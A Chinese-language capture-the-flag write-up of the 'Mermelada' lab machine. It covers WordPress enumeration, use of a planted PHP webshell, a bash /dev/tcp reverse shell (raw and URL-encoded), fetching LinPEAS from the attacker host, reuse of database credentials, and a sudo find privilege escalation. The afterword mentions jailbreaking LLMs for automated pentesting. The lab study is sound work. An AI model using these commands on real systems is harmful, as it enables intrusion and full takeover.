theHackerLabs_Mermelada _WriteUp 的文章封面
返回文章列表
Neuroblue writing

theHackerLabs_Mermelada _WriteUp

从0到1的简单渗透测试

信息收集

Pasted image 20260619135723

主机发现

┌──(root㉿kali)-[~]
└─# arp-scan -l      
Interface: eth0, type: EN10MB, MAC: 00:0c:29:74:07:c6, IPv4: 192.168.43.57
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.43.1    56:dc:a2:f3:f1:64       (Unknown: locally administered)
192.168.43.73   2c:9c:58:8e:96:a5       (Unknown)
192.168.43.165  08:00:27:9a:2c:28       PCS Systemtechnik GmbH

靶机 IP:192.168.43.165

端口扫描

┌──(root㉿kali)-[~]
└─# nmap -sC -sV 192.168.43.165
Starting Nmap 7.98 ( https://nmap.org )
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u6 (protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.65 ((Debian))
|_http-server-header: Apache/2.4.65 (Debian)
|_http-title: Mermelada
3306/tcp open  mysql   MySQL 5.5.5-10.11.6-MariaDB-0+deb12u1
MAC Address: 08:00:27:9A:2C:28 (Oracle VirtualBox)

Web 枚举

浏览器访问 http://192.168.43.165,首页是个果酱主题的静态页面,JS 无有效交互。

HTML 源码精简分析:

<form action="mermelada.php" method="GET">
  <input type="text" name="zona" placeholder="Introduce tu zona...">
  <button type="submit">Enviar</button>
</form>

输入 aa 提交,URL 变为 http://192.168.43.165/mermelada.php?zona=aa,页面返回一个包含用户输入值的静态响应。初步怀疑存在 LFI 或 SQL 注入,但未直接回显有效结果。

目录爆破

┌──(root㉿kali)-[~]
└─# gobuster dir -u http://192.168.43.165 \
    -w /usr/share/wordlists/dirb/common.txt \
    -x php,txt \
    --status-codes-blacklist 404

/uploads              (Status: 301)
/wordpress            (Status: 301)
/mermelada.php        (Status: 200)

发现 /wordpress 是 WordPress 站点,且 /uploads/ 目录包含敏感文件。

访问 http://192.168.43.165/uploads/compra.txt

[+] Mermelada de fresa
[+] Mermelada de frambuesa
[+] Mermelada de mora
[+] Mermelada de dW4gcGlxdWl0bz8K
[+] Mermelada de albaricoque
[+] Mermelada de mango

其中第三条 dW4gcGlxdWl0bz8K 解码:

┌──(root㉿kali)-[~]
└─# echo "dW4gcGlxdWl0bz8K" | base64 -d
un piquito?

注:原文中 base64 末尾多一个 ~,实际解码时需去掉。

这是西班牙语「一小口?」的意思,属于干扰信息,无利用价值。

WordPress 专项扫描

┌──(root㉿kali)-[~]
└─# wpscan --url http://192.168.43.165/wordpress -e u,vp,vt,ap,at
___________________________________________________________
[+] URL: http://192.168.43.165/wordpress/ [192.168.43.165]
[+] Started: Fri Jun 19 14:48:54 2026

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.65 (Debian)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled:
     http://192.168.43.165/wordpress/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] WordPress readme found:
     http://192.168.43.165/wordpress/readme.html

[+] Upload directory has listing enabled:
     http://192.168.43.165/wordpress/wp-content/uploads/

[+] WordPress version 6.9 identified (Insecure, released on 2025-12-02).

[+] Enumerating Users
 | User(s) Identified:
[+] mermeladita
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)

[i] No plugins Found.
[i] No themes Found.

域名解析修复

点击站内文章时跳转至 http://mermelada.thl,需将该域名加入本地 DNS 解析:

echo "192.168.43.165 mermelada.thl" >> /etc/hosts

关键发现:Webshell

Uploads 目录 http://192.168.43.165/wordpress/wp-content/uploads/2026/01/ 中存在一个可疑 PHP 文件:

macoduweklgkmvp-1767607866.7342.php

直接访问返回空白,说明此文件为一句话木马,但参数未知。

漏洞利用

ffuf 参数爆破

用 ffuf 对该文件进行参数名 Fuzzing:

┌──(root㉿kali)-[~]
└─# ffuf -u "http://192.168.43.165/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?FUZZ=id" \
      -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
      -t 50 -fs 12

| 参数 | 状态码 | 响应长度 | 说明 |
|------|--------|----------|------|
| cmd  | 200    | 变化值   | ✅ 命中,可执行命令 |
| 其余 | 200    | 12       | 基线长度,无效参数 |

确认 cmd 参数可用:

http://192.168.43.165/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?cmd=id
→ uid=33(www-data) gid=33(www-data) groups=33(www-data)

反弹 Shell

攻击机监听:

┌──(root㉿kali)-[~]
└─# nc -lvnp 4444

反弹 Payload — Bash TCP Reverse Shell:

原始命令:

bash -c 'bash -i >& /dev/tcp/192.168.43.57/4444 0>&1'

URL 编码(浏览器直接访问触发):

http://192.168.43.165/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.43.57%2F4444%200%3E%261%27

Shell 连接成功,获得 www-data 权限。

后渗透 & 横向移动

TTY 升级

反弹 Shell 不具备完整终端能力(无法 Tab 补全、Ctrl+C 会断开、无法 sudo/su)。

方案一:rlwrap(推荐,如果已安装)

# Kali 端重新监听
rlwrap nc -lvnp 4444

方案二:script 命令(不依赖 stty,通用性最强)

script /dev/null -c /bin/bash

一行即完成 TTY 升级,无需按 Ctrl+Z。

方案三:传统 Python3 + stty 方法

# 目标机
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm-256color
[Ctrl+Z]  # 回到 Kali

# Kali 本机执行(先在本机终端查 stty size 获取真实 rows/columns)
stty raw -echo; fg
[Enter]

# 目标机
reset
export SHELL=bash
stty rows 43 columns 155

信息收集 — LinPEAS

上传并运行 LinPEAS 进行自动化提权信息收集:

# Kali 端(192.168.43.57)
cd /usr/share/peass/linpeas/
python3 -m http.server 8000

# 目标机(www-data)
cd /tmp
wget http://192.168.43.57:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh | tee linpeas.out

Pasted image 20260619151050

关键发现:wp-config.php

LinPEAS 输出显示 /var/www/html/wordpress/ 目录下存在权限异常的配置文件:

╔══════════╣ Analyzing Wordpress Files (limit 70)
-rw-r--r-- 1 root root 3098 Jun 12 17:02 /var/www/html/wordpress/wp-config.php

直接读取 WordPress 配置文件:

www-data@debian:~$ cat /var/www/html/wordpress/wp-config.php
/** The name of the database for WordPress */
define( 'DB_NAME', 'mermelada' );
/** Database username */
define( 'DB_USER', 'root' );
/** Database password */
define( 'DB_PASSWORD', '12345' );
/** Database hostname */
define( 'DB_HOST', 'localhost' );

MySQL 凭据提取 — 横向至 mermeladita

凭据 root:12345,连接本地 MySQL:

www-data@debian:~$ mysql -u root -p12345

Pasted image 20260619151713 SSH 登录:

┌──(root㉿kali)-[~]
└─# ssh mermeladita@192.168.43.165

权限提升

sudo -l 发现

mermeladita@debian:~$ sudo -l
User mermeladita may run the following commands on debian:
    (ALL : ALL) NOPASSWD: /usr/bin/find

GTFOBins — find 提权

find-exec 参数可在找到的文件上执行任意命令,结合 sudo 以 root 身份运行:

mermeladita@debian:~$ sudo find . -exec /bin/bash -p \; -quit
root@debian:~# id
uid=0(root) gid=0(root) groups=0(root)
root@debian:~# whoami
root

参数解析:

标记含义
sudo find .以 root 身份在当前目录开始查找
-exec /bin/bash -p对找到的文件执行特权模式 bash
-pbash 的 privileged mode,防止 bash 主动丢弃 euid
\;find 的 -exec 参数结束符(\ 在 shell 中转义 ;
-quit执行一次后立即退出 find

-p 的作用: 当使用者通过 sudo 启动 bash 时,bash 检测到有效 UID ≠ 真实 UID,默认会主动丢弃 root 权限,将 euid 重置为真实 UID。-p 告诉 bash:不丢特权,保持 root。

Flag 获取

root@debian:~# cat /root/root.txt

Pasted image 20260619152028

攻击链总结

1. 主机发现 (arp-scan)

2. 端口扫描 (nmap) → 22/SSH, 80/HTTP, 3306/MySQL

3. Web 枚举
   ├── gobuster → /wordpress, /uploads
   ├── compra.txt → base64 干扰信息
   └── Uploads 目录浏览 → 发现一句话木马 PHP

4. ffuf 参数爆破 → cmd 参数可用

5. Bash TCP Reverse Shell → www-data

6. 后渗透
   ├── LinPEAS 自动化收集
   ├── wp-config.php → DB 凭据 root:12345
   └── MySQL → wp_users hash → hashcat 破解 → mermeladita 密码

7. SSH 登录 mermeladita

8. sudo find → GTFOBins 提权 → root

工具清单

敌情侦察: arp-scan, nmap
目录爆破: gobuster
Webshell 参数盲测: ffuf
WordPress 扫描: wpscan
反弹 Shell: bash TCP reverse shell
后渗透收集: LinPEAS
Hash 破解: hashcat (mode 400) / john
提权: GTFOBins (find + sudo)

安全建议

  1. 移除或加固 Uploads 目录下的 Webshell,排查初始植入点
  2. WordPress 建议升级至最新版,或至少禁用 XML-RPC(/xmlrpc.php
  3. MySQL root 密码 12345 极度弱口令,应立即更换
  4. sudo find NOPASSWD 权限应回收或改用 ACL 限制
  5. 限制 WordPress uploads 目录的 PHP 执行权限

写在后面

一开始让 AI 自动跑,很大概率会卡在漏洞扫描、参数枚举、目录爆破等等位置,特别是 wordpress 部分。并且由于 wpscan、ssh、linpeas 等工具、环境的限制,操作起来非常吃力。

而且 Webshell 的发现依赖浏览器视觉交互 + 目录索引浏览,这是纯文本 AI 的感知边界。一旦 Webshell 被人类找到并喂给 AI,后续攻击链(参数爆破 → 反弹 Shell → 凭据提取 → 提权)就会变得简单一点。


skills 负责流程与知识编排,mcp 负责提供工具与执行能力;然后还需要比较稳定的大模型越狱能力。

AI 自动渗透测试能力还有待提高。